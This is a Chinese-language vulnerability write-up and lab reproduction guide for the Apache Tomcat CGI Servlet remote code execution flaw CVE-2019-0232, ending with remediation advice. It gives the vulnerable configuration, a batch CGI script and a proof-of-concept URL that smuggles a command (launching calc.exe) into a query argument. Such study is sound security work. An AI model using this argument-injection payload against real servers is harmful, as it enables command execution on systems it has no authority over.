Tomcat远程代码执行(CVE-2019-0232)
字数 1401 2025-08-11 17:40:32
Apache Tomcat远程代码执行漏洞(CVE-2019-0232)深度分析与复现指南
一、漏洞概述
漏洞编号: CVE-2019-0232
发布日期: 2019年4月13日
影响组件: Apache Tomcat中的CGI Servlet
漏洞类型: 远程代码执行(RCE)
平台限制: 仅影响Windows平台
二、漏洞原理
该漏洞源于CGI Servlet在Windows平台上的参数传递机制存在缺陷:
- 当参数从JRE传递到Windows环境时,输入验证不充分
- 攻击者可构造恶意请求注入操作系统命令
- 命令将在Apache Tomcat权限上下文中执行
三、受影响版本
- Tomcat 9.x系列: 9.0.0.M1 ~ 9.0.17
- Tomcat 8.5.x系列: 8.5.0 ~ 8.5.39
- Tomcat 7.x系列: 7.0.0 ~ 7.0.93
四、漏洞触发条件
- 操作系统: Windows平台
- 配置要求:
- CGI Servlet已启用(默认关闭)
- enableCmdLineArguments参数设置为true(Tomcat 9.0.*及以后版本默认关闭)
五、环境搭建与复现
1. 环境准备
测试版本: Apache Tomcat 9.0.13
下载地址: https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.13/
2. 基础配置
- 下载安装包后,进入bin目录执行
startup.bat启动Tomcat - 访问
http://localhost:8080/确认服务正常运行
3. 漏洞相关配置修改
(1) 修改conf/web.xml
找到CGIServlet部分,进行以下修改:
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
同时取消以下映射的注释:
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
(2) 修改conf/context.xml
在<Context>标签中添加privileged="true"属性:
<Context privileged="true">
...
</Context>
4. 创建CGI脚本
- 在
webapps/ROOT/WEB-INF/目录下创建cgi-bin文件夹 - 在
cgi-bin中创建hello.bat文件,内容如下:
@echo off
echo Content-Type: test/plain
echo.
set foo=&~1
%foo%
5. 重启Tomcat服务
执行shutdown.bat后再次执行startup.bat重启服务
6. 漏洞验证
使用以下payload触发漏洞:
http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe
预期结果: Windows计算器程序被成功启动
六、修复建议
-
立即措施:
- 在
conf/web.xml中设置<param-name>enableCmdLineArguments</param-name><param-value>false</param-value> - 实现更严格的参数合法性检验规则
- 在
-
长期方案:
- 升级到安全版本:
- Tomcat 9.0.18+
- Tomcat 8.5.40+
- Tomcat 7.0.94+
- 升级到安全版本:
-
其他建议:
- 如无需CGI功能,完全禁用CGI Servlet
- 限制Tomcat运行账户的权限
七、技术细节
- 漏洞利用关键点在于Windows命令行参数处理方式
&~1语法用于提取并执行传递的参数- URL编码确保特殊字符正确传递
- 需要
privileged="true"设置以获得足够权限执行系统命令
八、参考资源
- Apache Tomcat官方安全公告
- NVD漏洞数据库条目
- 相关安全研究报告